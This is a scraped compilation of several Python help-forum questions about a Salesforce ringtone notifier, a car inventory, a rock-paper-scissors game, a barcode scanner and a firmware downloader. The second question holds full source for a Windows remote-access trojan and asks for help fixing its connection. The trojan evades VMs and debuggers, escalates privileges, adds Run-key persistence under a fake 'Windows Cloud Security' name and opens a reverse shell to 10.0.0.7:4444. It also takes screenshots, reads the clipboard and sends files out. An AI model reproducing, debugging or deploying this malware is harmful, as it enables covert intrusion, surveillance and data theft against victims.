Python trying to run one Async function and one infinite loop simultaneously - python

I am trying to monitor a stream of salesforce events to play a ringtone each time a case comes in based on case origin. Initially I was querying the API from a thread and I was able to have the UI run in the main function and the monitoring run on a thread in the background. Now that I have switched to the streaming API I need to use async to monitor for responses when a case is assigned. This has caused issues where if I start the async loop first my UI never starts but if I start the UI first my async loop never starts.... I have attached my code below:
Here is my first python script where I actually define the async function and call my user interface.
import asyncio
from aiosfstream import SalesforceStreamingClient
from win10toast import ToastNotifier
import Ringtone
from threading import Thread
import vlc
def notifier(type, system):
n = ToastNotifier()
n.show_toast("SalesForce Notification Manager", "Incoming " + type + " From" + system, duration=10,
icon_path="ICON.ico")
async def subscribeToSalesforce():
async with SalesforceStreamingClient(
# Connect to Salesforce streaming API
consumer_key='<key>',
consumer_secret='<secret>',
username='<username>',
password='<password>',
sandbox=True) as client:
# Subscribe to one or more topics
apiLink = Ringtone.login()
currentUserID = Ringtone.getUserID(apiLink)
await client.subscribe("/event/NewEmail__e")
# listen for incoming messages
async for message in client:
topic = message["channel"]
data = message["data"]
print(f"{topic}: {data}")
data = data['payload']
try:
print(data['Assigned__c'])
if data['Assigned__c']:
if data['Assigned__c'] == 'Assigned':
if data['OwnerID__c'] == currentUserID:
print(data)
findType(data)
except:
print('Exception')
def findType(data):
with open('Ref/Files/phone.txt') as f:
phone = f.readline()
f.close()
with open('Ref/Files/email.txt') as f:
email = f.readline()
f.close()
with open('Ref/Files/chat.txt') as f:
chat = f.readline()
f.close()
with open('Ref/Files/Volume.txt') as f:
volume = f.readline()
f.close()
with open('Ref/Files/notifs.txt') as f:
notifsRaw = f.readline()
f.close()
notifs = True
if data['Assigned__c']:
if data['Assigned__c'] == 'Assigned':
if data['VM_Offline_Chat__c'] == True:
if notifs:
t2 = Thread(target=notifier, args=("Voicemail/Offline Chat", data['Program__c']))
t2.start()
p = vlc.MediaPlayer()
p.audio_set_volume(int(volume))
p.play()
elif data['Case_Type__c'] == 'Phone':
if notifs:
t3 = Thread(target=notifier, args=("Call", data['Program__c']))
t3.start()
p = vlc.MediaPlayer(phone)
p.audio_set_volume(int(volume))
p.play()
elif data['Case_Type__c'] == 'Email':
if notifs:
t4 = Thread(target=notifier, args=("Email", data['Program__c']))
t4.start()
p = vlc.MediaPlayer(email)
p.audio_set_volume(int(volume))
p.play()
elif data['Case_Type__c'] == 'Chat':
if notifs:
t5 = Thread(target=notifier, args=("Chat", data['Program__c']))
t5.start()
p = vlc.MediaPlayer(chat)
p.audio_set_volume(int(volume))
p.play()
if __name__ == '__main__':
loop = asyncio.get_event_loop()
loop.run_until_complete(subscribeToSalesforce())
t1 = Thread(target=Ringtone.userInterface(), args=[])
t1.start()
Here is my other python file where the user interface function is stored:
import PySimpleGUI as sg
import time
import vlc
from simple_salesforce import Salesforce
import distutils.util
_VARS = {'window': False,
'fig_agg': False,
'pltFig': False}
ttk_style = 'Clam'
sg.theme('DarkGrey5')
with open('Ref/Files/Volume.txt') as f:
sliderVal = f.readline()
f.close()
with open('Ref/Files/chatchosen.txt') as f:
chatchosen = f.readline()
f.close()
with open('Ref/Files/emailchosen.txt') as f:
emailchosen = f.readline()
f.close()
with open('Ref/Files/phonechosen.txt') as f:
phonechosen = f.readline()
f.close()
with open('Ref/Files/notifs.txt') as f:
notifs = f.readline()
f.close()
notifs = bool(distutils.util.strtobool(notifs))
command = ['Test Ringtone']
cmd_layout = [[sg.Button(cmd, use_ttk_buttons=True, size=(10, 1))] for cmd in command]
ringtones = ['Classical Piano', 'Mozart', 'Game of Thrones', 'Harry Potter', 'Mandalorian', 'Star Wars', 'Play That Funky Music', 'You Are My Sunshine', 'iPhone', 'Blackberry', 'Minimal 1', 'Minimal 2', 'Minimal 3']
def open_window(name):
Title = 'Enter Salesforce Username:'
Window = 'Username'
LayoutItems = [
[sg.Text(Title)],
[sg.Input(name, key='edit')],
[sg.Button('Okay', use_ttk_buttons=True), sg.Button('Cancel', use_ttk_buttons=True)]
]
window = sg.Window(Window, LayoutItems, resizable=True, modal=True)
while True:
event, values = window.read()
if event == "Exit" or event == sg.WIN_CLOSED:
break
elif event == "Cancel":
window.close()
return 'Cancel'
elif event == "Okay":
if values['edit'] != '':
window.close()
return values['edit']
else:
window.close()
return values['edit']
def open_password(name, num):
if num == 4:
Title = 'Enter Salesforce Password:'
Window = 'Password'
elif num == 5:
Title = 'Enter Salesforce Security Token:'
Window = 'Token'
LayoutItems = [
[sg.Text(Title)],
[sg.Input(name, key='edit', password_char='*')],
[sg.Button('Okay', use_ttk_buttons=True), sg.Button('Cancel', use_ttk_buttons=True)]
]
window = sg.Window(Window, LayoutItems, resizable=True, modal=True)
while True:
event, values = window.read()
if event == "Exit" or event == sg.WIN_CLOSED:
break
elif event == "Cancel":
window.close()
return 'Cancel'
elif event == "Okay":
if values['edit'] != '':
window.close()
return values['edit']
else:
window.close()
return values['edit']
def login():
with open('Ref/Files/Info1.txt') as f:
usernameold = f.readline()
with open('Ref/Files/Info2.txt') as f:
passwordold = f.readline()
with open('Ref/Files/Info3.txt') as f:
tokenold = f.readline()
username = open_window(usernameold)
password = open_password(passwordold, 4)
token = open_password(tokenold, 5)
with open('Ref/Files/Info1.txt', 'w') as f:
f.write(username)
with open('Ref/Files/Info2.txt', 'w') as f:
f.write(password)
with open('Ref/Files/Info3.txt', 'w') as f:
f.write(token)
try:
sf = Salesforce(username=username, password=password, security_token=token, domain='test')
except:
sg.popup('Incorrect Username/Password Combination')
return sf
def getUserID(apiLink):
identity_url = API.restful('')['identity']
currentUser = API.User.get(identity_url[-18:])
currentUserID = currentUser['Id']
return currentUserID
employee_list_column = [
[sg.Image('K2.png', size=(280, 100))],
[sg.Listbox(values=ringtones, enable_events=True, size=(40, 20), key="RingtoneList"), sg.Column(cmd_layout)],
[sg.Checkbox('Enable Windows Notifications', default=notifs, key="notifsBox")],
[sg.Button('Save Phone Ringtone Selection', use_ttk_buttons=True, key='PhoneRingtone'), sg.Text(phonechosen, key= 'PhoneChosen')],
[sg.Button('Save Email Ringtone Selection', use_ttk_buttons=True, key='EmailRingtone'), sg.Text(emailchosen, key= 'EmailChosen')],
[sg.Button('Save Chat Ringtone Selection', use_ttk_buttons=True, key='ChatRingtone'), sg.Text(chatchosen, key= 'ChatChosen')],
[sg.Slider(orientation ='horizontal', key='Volume', range=(20,100), default_value= int(sliderVal), enable_events=True)]
]
layout = [
[
sg.Column(employee_list_column)
]
]
def chooseRingtones(chosen):
if chosen == 'Classical Piano':
val = '/Ref/Audio/ClassicalPiano.mp3'
elif chosen == 'Mozart':
val = '/Ref/Audio/Mozart.mp3'
elif chosen == 'Mandalorian':
val = '/Ref/Audio/mandalorian_call.mp3'
elif chosen == 'Game of Thrones':
val = '/Ref/Audio/GOT.mp3'
elif chosen == 'Harry Potter':
val = '/Ref/Audio/HarryPotter.mp3'
elif chosen == 'Star Wars':
val = '/Ref/Audio/Imperial.mp3'
elif chosen == 'Play That Funky Music':
val = '/Ref/Audio/PlayThatFunky.mp3'
elif chosen == 'You Are My Sunshine':
val = '/Ref/Audio/YouAreMySunshine.mp3'
elif chosen == 'ival':
val = '/Ref/Audio/ival.mp3'
elif chosen == 'Minimal 1':
val = '/Ref/Audio/Normal1.mp3'
elif chosen == 'Minimal 2':
val = '/Ref/Audio/Normal2.mp3'
elif chosen == 'Minimal 3':
val = '/Ref/Audio/Normal3.mp3'
return val
def userInterface():
start_time = time.time() - 5
window = sg.Window("Salesforce Notification Manager", layout, resizable=True)
while True:
event, values = window.read()
with open('Ref/Files/Volume.txt') as f:
volume = f.readline()
f.close()
if event == "Exit" or event == sg.WIN_CLOSED:
programClose = True
break
elif event == 'Test Ringtone':
name = values['RingtoneList']
if name:
if start_time + 1 <= time.time():
start_time = time.time()
chosen = name[0]
if chosen == 'Classical Piano':
p = vlc.MediaPlayer("/Ref/Audio/ClassicalPiano.mp3")
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Mozart':
p = vlc.MediaPlayer("/Ref/Audio/Mozart.mp3")
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Mandalorian':
p = vlc.MediaPlayer('/Ref/Audio/mandalorian_call.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Game of Thrones':
p = vlc.MediaPlayer('/Ref/Audio/GOT.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Harry Potter':
p = vlc.MediaPlayer('/Ref/Audio/HarryPotter.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Star Wars':
p = vlc.MediaPlayer('/Ref/Audio/Imperial.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Play That Funky Music':
p = vlc.MediaPlayer('/Ref/Audio/PlayThatFunky.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'You Are My Sunshine':
p = vlc.MediaPlayer('/Ref/Audio/YouAreMySunshine.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'iPhone':
p = vlc.MediaPlayer('/Ref/Audio/iPhone.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Blackberry':
p = vlc.MediaPlayer('/Ref/Audio/Blackberry.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Minimal 1':
p = vlc.MediaPlayer('/Ref/Audio/Normal1.mp3')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Minimal 2':
p = vlc.MediaPlayer('/Ref/Audio/Normal2.m4a')
p.audio_set_volume(int(volume))
p.play()
elif chosen == 'Minimal 3':
p = vlc.MediaPlayer('/Ref/Audio/Normal3.mp3')
p.audio_set_volume(int(volume))
p.play()
else:
sg.Popup('No Ringtone Selected')
elif event == 'PhoneRingtone':
name = values['RingtoneList']
if name:
chosen = name[0]
chosen1 = "Phone Ringtone Chosen: " + chosen
window['PhoneChosen'].update(value=chosen1)
phone = chooseRingtones(chosen)
with open('Ref/Files/phonechosen.txt', 'w') as f:
f.write(str(chosen1))
f.close()
with open('Ref/Files/phone.txt', 'w') as f:
f.write(phone)
f.close()
else:
sg.Popup('No Ringtone Selected')
elif event == 'ChatRingtone':
name = values['RingtoneList']
if name:
chosen = name[0]
chosen1 = " Chat Ringtone Chosen: " + chosen
window['ChatChosen'].update(value=chosen1)
chat = chooseRingtones(chosen)
with open('Ref/Files/emailchosen.txt', 'w') as f:
f.write(str(chosen1))
f.close()
with open('Ref/Files/chat.txt', 'w') as f:
f.write(chat)
f.close()
else:
sg.Popup('No Ringtone Selected')
elif event == 'EmailRingtone':
name = values['RingtoneList']
if name:
chosen = name[0]
chosen1 = "Email Ringtone Chosen: " + chosen
window['EmailChosen'].update(value=chosen1)
email = chooseRingtones(chosen)
with open('Ref/Files/chatchosen.txt', 'w') as f:
f.write(str(chosen1))
f.close()
with open('Ref/Files/email.txt', 'w') as f:
f.write(email)
f.close()
else:
sg.popup('No ringtone is selected')
elif event == 'Volume':
slider = window[event]
volume = int(slider.TKScale.get())
with open('Ref/Files/Volume.txt', 'w') as f:
f.write(str(volume))
f.close()
elif event == 'notifsBox':
notifs = values["notifsBox"]
with open('Ref/Files/notifs.txt', 'w') as f:
f.write(str(notifs))
f.close()
Sorry if my code is sloppy. I'm new to all of this and the async stuff specifically is very confusing for me.

Related

PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions

Whenever I run my code it gives me "PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions" error, it happened after many Python updates.
Here's the code:
#from tkinter import messagebox
#messagebox.showerror("Error", f"ResourceUnavailable: Program 'cmd.exe' failed to run: An error occurred trying to start process")
from PIL import ImageGrab
import socket
import base64
import os
import platform
import time
import random, string
import psutil
import subprocess
import winreg as reg
import shutil
import ctypes
from ctypes import windll
import sys
import threading
from pynput.mouse import Controller
global mouse_controller
global mouse_movement_counter
global mouse_movement
class evasiontechs:
mouse_movement_counter = 2000
mouse_controller = Controller()
mousemovecount = 2000
mouse_controller = Controller()
def zpVXAIPnyaQaYr(): # evation techs
vmproc1 = "vmsrvc.exe"
vmproc2 = "vmusrvc.exe"
vmproc3 = "vmtoolsd.exe"
vmproc5 = "vboxtry.exe"
vmproc6 = "df5serv.exe"
vmproc7 = "vboxservice.exe"
for proc in psutil.process_iter():
try:
if proc.name().lower() == vmproc1.lower() or proc.name().lower() == vmproc2.lower() or proc.name().lower() == vmproc3.lower() or proc.name().lower() == vmproc5.lower() or proc.name().lower() == vmproc6.lower() or proc.name().lower() == vmproc7.lower():
exit()
except WindowsError:
vmpath1 = os.path.exists(r"C:\\windows\system32\\drivers\\mci.sys")
vmpath2 = os.path.exists(r"C:\\windows\system32\\drivers\\mhgfs.sys")
vmpath3 = os.path.exists(r"C:\\windows\system32\\drivers\\mmouse.sys")
vmpath4 = os.path.exists(r"C:\\windows\system32\\drivers\\mscsi.sys")
vmpath5 = os.path.exists(r"C:\\windows\system32\\drivers\\musemouse.sys")
vmpath6 = os.path.exists(r"C:\\windows\system32\\drivers\\mx_svga.sys")
vmpath7 = os.path.exists(r"C:\\windows\system32\\drivers\\mxnet.sys")
vmpath8 = os.path.exists(r"C:\\windows\system32\\drivers\\VBoxMouse.sys")
if vmpath1 == True or vmpath2 == True or vmpath3 == True or vmpath4 == True or vmpath5 == True or vmpath6 == True or vmpath7 == True or vmpath8 == True:
exit()
zpVXAIPnyaQaYr()
def evation():
mouse_movement()
return True
if not is_debug():
return False
def mouse_movement():
counter = 0
current_position = mouse_controller.position
while counter < mouse_movement_counter:
old_position = mouse_controller.position
if current_position != old_position:
current_position = old_position
counter += 1
def is_debug():
try:
return windll.kernel32.IsDebuggerPresent() != 0
except Exception:
return True
#letters = ''.join(random.choice(string.ascii_letters) for l in range(16))
#X = 0
#letters = time.sleep(X)
#letters
def zJnWJKrmzwZTAHJT(f_name, path):
address=os.path.join(path, f_name)
key = reg.HKEY_CURRENT_USER
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
open = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)
reg.SetValueEx(open, "Windows Cloud Security", 0, reg.REG_SZ, address)
reg.CloseKey(open)
BUFFER_SIZE = 1024
def connection():
try:
clientHOST="10.0.0.7"
clientPORT=4444
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def TeZfZTttAYMjZZ():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if TeZfZTttAYMjZZ():
connection()
else:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
if TeZfZTttAYMjZZ() == True:
pass
else:
TeZfZTttAYMjZZ()
if TeZfZTttAYMjZZ() == True:
pass
else:
TeZfZTttAYMjZZ()
s.connect((clientHOST, clientPORT))
s.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
sys.setrecursionlimit(1500)
while True:
Handler_DATA = s.recv(BUFFER_SIZE).decode("utf-8")
if Handler_DATA == "screenshot":
screenshot = ImageGrab.grab()
file = "xpvuNBYVvC.jpg"
screenshot.save(file)
f = open(file, 'rb')
data=f.read()
data=base64.b64encode(data)
f.close()
message = data
s.send(data)
time.sleep(1)
os.remove(file)
elif Handler_DATA == "restart":
if platform.system() == "Windows":
os.system("shutdown -t 0 -r -f")
else:
os.system("reboot")
elif Handler_DATA == "shutdown":
if platform.system() == "Windows":
os.system("shutdown /s /t 1")
else:
os.system("shutdown now")
elif Handler_DATA == "shell":
cwd = os.getcwd()
s.send(("dir:" + str(cwd)).encode('utf-8'))
while True:
try:
command = s.recv(2048).strip().decode('utf-8')
if 'terminate' in command:
break
elif 'clipboard' in command:
CF_TEXT = 1
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32
kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
kernel32.GlobalLock.restype = ctypes.c_void_p
kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
user32.GetClipboardData.restype = ctypes.c_void_p
user32.OpenClipboard(0)
IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
GetClipboardData = user32.GetClipboardData
CloseClipboard = user32.CloseClipboard
try:
if IsClipboardFormatAvailable(CF_TEXT):
getClipboardData = GetClipboardData(CF_TEXT)
getClipboardDataLoc = kernel32.GlobalLock(getClipboardData)
text = ctypes.c_char_p(getClipboardDataLoc)
value = text.value
kernel32.GlobalUnlock(getClipboardDataLoc)
s.send(str(value).encode("utf-8"))
if IsClipboardFormatAvailable(CF_TEXT) == False:
pass
finally:
CloseClipboard()
elif command.startswith('grab'):
file_name = command[5:]
file_size = os.path.getsize(file_name)
s.send(file_name.encode('utf-8'))
s.recv(5120).decode('utf-8')
s.send(str(file_size).encode('utf-8'))
s.recv(5120).decode('utf-8')
with open(file_name, "rb") as file:
c = 0
start_time = time.time()
while c < file_size:
data = file.read(5120)
if not (data):
break
s.sendall(data)
c += len(data)
end_time = time.time()
elif 'transfer' in command:
file_name = s.recv(5120).decode('utf-8')
file_size = s.recv(5120).decode('utf-8')
with open(file_name, "wb") as file:
c = 0
start_time = time.time()
while c < int(file_size):
data = s.recv(5120)
if not (data):
break
file.write(data)
c += len(data)
end_time = time.time()
elif command.startswith('cd '):
dir = command[3:]
try:
os.chdir(dir)
except:
os.chdir(cwd)
cwd = os.getcwd()
s.send(("dir:" + str(cwd)).encode('utf-8'))
elif command.startswith('persistence'):
file_name = command[12:]
pth = os.getcwd()
try:
zJnWJKrmzwZTAHJT(file_name, pth)
s.send("Hooked".encode('utf-8'))
except Exception as e:
s.send(str(e).encode('utf-8'))
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
out = CMD.stdout.read()
err = CMD.stderr.read()
s.send(out)
s.send(err)
if (out == b'' and err == b''):
s.send("Invalid".encode('utf-8'))
except Exception as e:
s.send(str(e).encode('utf-8'))
elif Handler_DATA == "exit":
s.close()
exit()
except socket.error:
connection()
if connection() == True:
pass
else:
connection()
except MemoryError:
pass
except SystemError:
pass
def TCjgbxixqsdxEc():
cpuChk = psutil.cpu_count(logical=False)
if cpuChk == 1:
exit()
if cpuChk == 3:
exit()
else:
connection()
TCjgbxixqsdxEc()
def PTYMEYUXBRwddE():
avgDiskChk = shutil.disk_usage("/")
div = (avgDiskChk // (2**30))
if div == 59:
exit()
if div == 60:
exit()
if div == 65:
exit()
if div == 120:
exit()
if div == 119:
exit()
else:
connection()
PTYMEYUXBRwddE()
connection()
I tried disabling Windows Defneder and Windows Firewall, even running it on an isolated VM doesn't help, and also running the code as administrator wont' help, I ran out of ideas...

Add and remove strings from existing list in Python

I am doing a schoolwork whereas I am doing a list where you add or remove cars and buyers. I have solved the car part, however I have trouble with adding the buyers part. I want the buyers to be added to the list, and removed at choice. I have partially solved the adding issue, however, whenever I try to remove a buyer it doesn't seem to work.
This is my code:
import json
import os.path
# Class
class Inventory:
cars = {}
buyers = {}
def __init__ (self):
self.load()
def add(self,key,qty):
q = 0
if key in self.cars:
v = self.cars[key]
q = v + qty
else:
q = qty
self.cars[key] = q
print(f'added {qty} {key}: total = {self.cars[key]}')
def add2(self,buy):
if buy in self.buyers:
b = self.buyers[buy]
else:
b = buy
self.buyers[buy] = b
print(f'added {buy}')
def remove2(self,buy):
if buy in self.buyers:
b = str(self.buyers[buy])
else:
b = buy
self.buyers[buy] = b
print(f'removed {buy}')
def remove(self,key,qty):
q = 0
if key in self.cars:
v = self.cars[key]
q = v - qty
if q < 0:
q = 0
self.cars[key] = q
print(f'removed {qty} {key}: total = {self.cars[key]}')
def display(self):
for key, value in self.cars.items():
print(f'{key} = {value}')
for buy in self.buyers.items():
print(f'{buy}')
def save(self):
print('saving information...')
with open('inventory4.txt', 'w') as f:
json.dump(self.cars,f)
json.dump(self.buyers,f)
print('information saved!')
def load(self):
print('loading information...')
if not os.path.exists('inventory4.txt'):
print('nothing to load!')
return
with open('inventory4.txt', 'r') as f:
self.cars = json.load(f)
self.buyers = json.load(f)
print('Information Loaded!')
def main():
inv = Inventory()
while True:
print('Write your choice...\n')
action = input('Choice:\nadd car, remove car, add buyer, remove buyer, list, save, exit: ')
if action == 'avsluta':
break
if action == 'add car' or action == 'remove car':
key = input('Add/remove specific car: ')
qty = int(input('Quantity: '))
if action == 'add car':
inv.add(key,qty)
if action == 'remove car':
inv.remove(key,qty)
if action == 'add buyer' or action == 'remove buyer':
buyers = input('Add/remove buyer: ')
if action == 'add buyer':
inv.add2(buyers)
if action == 'remove buyer':
inv.remove2(buyers)
if action == 'list':
print('____________________________________\n')
inv.display()
print('____________________________________\n')
if action == 'save':
inv.save
inv.save()
if __name__ == "__main__":
main()

My code prints out 'Invalid input' every time in a game Rock Paper Scissors

My code prints out every time 'Invalid input', but I want it to print 'Invalid input' only when something other besides "rock", 'paper' , 'scissors', '!exit', '!rating' is written in the input, can someone help me, please, I don't really get why it is like this. Here you can see my code:
import random
import math
HELP_TEXT = '"'
class Rating:
def __init__(self, name):
self._old_data = None
self._user_name = name
self.score = self._get()
def _get(self):
try:
with open('rating.txt', 'r') as f:
for line in f:
name, score = line.split()
if name == self._user_name:
self._old_data = line
return int(score)
with open('rating.txt', 'a') as f:
f.write(f'{self._user_name} 0')
self._old_data = f'{self._user_name} 0'
return 0
except FileNotFoundError:
with open('rating.txt', 'w') as f:
f.write(f'{self._user_name} 0')
self._old_data = f'{self._user_name} 0'
return 0
def add(self, score):
self.score += score
def save(self):
with open('rating.txt', 'r') as f:
old_data = f.read()
new_data = old_data.replace(self._old_data, f'{self._user_name} {self.score}\n')
with open('rating.txt', 'w') as f:
f.write(new_data)
class User:
def __init__(self):
self.name = ''
self._hello_user()
self.rating = Rating(self.name)
def _hello_user(self):
self.name = input('Enter your name: ').strip().replace(' ', '')
print(f'Hello, {self.name}')
class Game:
def __init__(self):
self.RPS = {}
self.user_choice = ''
self.game_choice = ''
self.result = ''
self.help = HELP_TEXT
self.user = User()
def referee(self):
if self.user_choice == self.game_choice:
return 'draw'
elif self.user_choice in self.RPS.get(self.game_choice):
return 'win'
else:
return 'lose'
def result_processing(self):
if self.result == 'draw':
self.user.rating.add(50)
print(f'There is a draw ({self.game_choice})')
elif self.result == 'lose':
print(f'Sorry, but computer chose {self.game_choice}')
elif self.result == 'win':
self.user.rating.add(100)
print(f'Well done. Computer chose {self.game_choice} and failed')
else :
print('Invalid input')
def generator(self, user_input):
output = {}
items = list(user_input.split(','))
if len(items) == 1:
return {'rock': ['paper'], 'paper': ['scissors'], 'scissors': ['rock']}
double_items = items + items
half_items = math.ceil(len(items) / 2)
for i in range(len(items)):
output[items[i]] = double_items[i + 1:i + half_items:1]
return output
def run(self):
self.RPS = self.generator(input())
print('Okay, let\'s start')
while True:
self.user_choice = input().strip()
if self.user_choice == '!exit':
break
elif self.user_choice == '!rating':
print(f'Your rating: {self.user.rating.score}')
continue
elif self.user_choice == '!help':
print(self.help)
continue
self.game_choice = random.choice(list(self.RPS.keys()))
self.result = self.referee()
self.result_processing()
self.user.rating.save()
print('Bye!')
if __name__ == '__main__':
game = Game()
game.run()
You can add a check that the input is one of the keys to referee().
def referee(self):
if self.user_choice == self.game_choice:
return 'draw'
elif self.user_choice not in self.RPS:
return 'invalid'
elif self.user_choice in self.RPS[self.game_choice]:
return 'win'
else:
return 'lose'

python memory leak listening to /dev/input

This is a loop I'm using to listen in on a barcode scanner.
I have up to 8 instances of this program running at the same time one for each scanner. Although I'm getting the desired results for a while, each process eventually uses up a ton of cpu and memory. Any ideas why?
#!/usr/bin/env python
import os, sys
from evdev import InputDevice
from select import select
...
self.dev = InputDevice(self.devRoot + self.scanner['by-id'])
...
def process(self):
badge = ''
while True:
r,w,x = select([self.dev], [], [])
try:
for event in self.dev.read():
if event.type == 1 and event.value != 4:
if event.code < 11 and event.code > 0:
# for numbers 1 to 9
code = event.code - 1
badge = badge + str(code)
elif event.code == 11:
# for number 0
badge = badge + '0'
elif event.code == 28:
theBadge = badge[::2].strip()
if len(theBadge) == 5:
fn = self.genFileName(theBadge)
self.touch(fn)
# reset the badge
badge = ''
else:
# grab a letter or character from the key dictionary
code = int(event.code)
badge += self.deviceDict.keyDict[code]
except Exception as e:
continue
def genFileName(self, badge):
return str(self.scannerNum) + '-' + badge
def touch(self, filename):
TESTING = True
if len(filename) <= 2:
return 1
filePath = self.scanDir + filename
touchCommand = 'touch ' + filePath
os.system(touchCommand)
return

Python - Files wont download

Here's My code, all the urls are in a Config Parser format file. When the button is pressed files will not download. What did go wrong? I used urllib should I have used urllib2? Some of the functions may be there but not used just ignore that.
import wx
import ConfigParser
import urllib
def Download(url):
response = urllib.urlopen(url).read()
doned = wx.MessageDialog("Download Done")
doned.ShowModal()
doned.Destroy()
#First thing i gona do is Parse 98 box data
BoxParser = ConfigParser.RawConfigParser() #Set Raw
BoxParser.read("98.box") #Mount into 98.box
#Get Vars, and print them
WxTitle = BoxParser.get("meta_data","Window_title") #get the window title
Application = BoxParser.get("meta_data","Application") #Get app name
Desc = BoxParser.get("meta_data","Description") #Get the description of the app
Author = BoxParser.get("meta_data","Author") #Of course! I dont wanna be plagurized
Contact = BoxParser.get("meta_data","Contact_Info") #My Contact Info
Date = BoxParser.get("meta_data","Date") #Date when the current update was made
#UpdateUrl = BoxParser.get("meta_data","Update_url") #Url to update
#BoxUp = BoxParser.get("meta_data","Update_box") #Url to update 98.box
# Meta Data loaded
#time to load the firmwares
e660 = BoxParser.get("Firmware_links","660") #6.60
e6602 = False
e660g = BoxParser.get("Firmware_links","660go") #6.60 Go Eboot
e6602g = False
e639 = BoxParser.get("Firmware_links","639") #6.39
e6392 = False
e639g = BoxParser.get("Firmware_links","639go") #6.39 Go Eboot
e6392g = False
e635 = BoxParser.get("Firmware_links","635") #6.35
e6352 = False
e635g = BoxParser.get("Firmware_links","635go") #6.35 Go Eboot
e6352g = False
e620 = BoxParser.get("Firmware_links","620") #6.20
e550 = BoxParser.get("Firmware_links","550") #5.50
e5502 = False
e500 = BoxParser.get("Firmware_links","500") #5.00
e5002 = False
e401 = BoxParser.get("Firmware_links","401") #4.01
e4012 = False
#Firmwares Loaded
def BoxUpdate():
Download(Update_box)
#Check if DD equ true so we can post the MSG
if downloaddone == True:
Done2 = wx.MessageDialog(self,"Download Done, 98.Box Updated!")
Done2.ShowModal()
Done.Destroy()
#Time to get out Gui
class FrameClass(wx.Frame): #Finally making the gui!
def __init__(self,parent,title): #making init!
app = wx.Frame
app.__init__(self,parent,title=WxTitle,size = (340,280)) #set window size
Menu = wx.Menu() #Lets make a menu!
panel = wx.Panel(self) #set the panel var
contact = Menu.Append(wx.ID_NONE,"&Contact Info") #add update thing
self.Bind(wx.EVT_MENU,self.contact1,contact) #Add event for Update
fwMsg = wx.StaticText(panel, label='Firmware', pos=(59,25))
fwlist = wx.ComboBox(panel,pos=(118,22), choices=["6.60","6.60 Go/N1000","6.39","6.39 Go/N1000","6.35 Go/N1000","5.50","5.00","4.01"])
self.Bind(wx.EVT_COMBOBOX, self.getsel, fwlist)
downloadbutton = wx.Button(panel, label="Download FW", pos=(100,76))
self.Bind(wx.EVT_BUTTON, self.DLB, downloadbutton)
#now for the member!
TopM = wx.MenuBar()
TopM.Append(Menu, "Tool Opt")
self.SetMenuBar(TopM)
self.Show(True)
def DLUpdate(self,e):
#Check if DD equ true so we can post the MSG
Download(Update_url)
print "downloading"
Done = wx.MessageDialog(self,"Download Done, download stored in \"DLBOXV$.zip\" file")
Done.ShowModal()
Done.Destroy()
def contact1(self,e):
con = wx.MessageDialog(self,Contact)
con.ShowModal()
con.Destroy()
def getsel(self,e):
i = e.GetString()
if i == "6.60":
e6602 = True
print e6602,"660"
else:
e6602 = False
print e6602,"660"
if i == "6.60 Go/N1000":
e6602g = True
print e6602g,"660 go"
else:
e6602g = False
print e6602g,"660 go"
if i == "6.39":
e6392 = True
print e6392,"639"
else:
e6392 = False
print e6392,"639"
if i == "6.39 Go/N1000":
e6392g = True
print e6392g,"639 go"
else:
e6392g = False
print e6392g,"639 go"
if i == "6.35 Go/N1000":
e6352g = False
print e6352g,"635 go"
else:
e6352g = False
print e6352g,"635 go"
if i == "5.50":
e5502 = True
print e5502,"550"
else:
e5502 = False
print e5502,"550"
if i == "500":
e5002 = True
print e5002,"500"
else:
e5002 = False
print e5002,"500"
if i == "401":
e4012 = True
print e4012,"401"
else:
e4012 = False
print e4012,"401"
def DLB(self,e):
if e6602 == True:
Download(e660)
elif e6602g == True:
Download(e660g)
elif e6392 == True:
Download(e639)
elif e639g == True:
Download(e639g)
elif e6352g == True:
Download(e635g)
elif e5502 == True:
Download(e550)
elif e5002 == True:
Download(e500)
elif e4012 == True:
Download(e401)
G = wx.App(False)
Win = FrameClass(None,WxTitle)
G.MainLoop()
But at the function Download(url) will not function, it will not download
def Download(url):
response = urllib.urlopen(url).read()
doned = wx.MessageDialog("Download Done")
doned.ShowModal()
doned.Destroy()
what triggers Download(url) is a few if and elsif statements
def getsel(self,e):
i = e.GetString()
if i == "6.60":
e6602 = True
print e6602,"660"
else:
e6602 = False
print e6602,"660"
if i == "6.60 Go/N1000":
e6602g = True
print e6602g,"660 go"
else:
e6602g = False
print e6602g,"660 go"
if i == "6.39":
e6392 = True
print e6392,"639"
else:
e6392 = False
print e6392,"639"
if i == "6.39 Go/N1000":
e6392g = True
print e6392g,"639 go"
else:
e6392g = False
print e6392g,"639 go"
if i == "6.35 Go/N1000":
e6352g = False
print e6352g,"635 go"
else:
e6352g = False
print e6352g,"635 go"
if i == "5.50":
e5502 = True
print e5502,"550"
else:
e5502 = False
print e5502,"550"
if i == "500":
e5002 = True
print e5002,"500"
else:
e5002 = False
print e5002,"500"
if i == "401":
e4012 = True
print e4012,"401"
else:
e4012 = False
print e4012,"401"
def DLB(self,e):
if e6602 == True:
Download(e660)
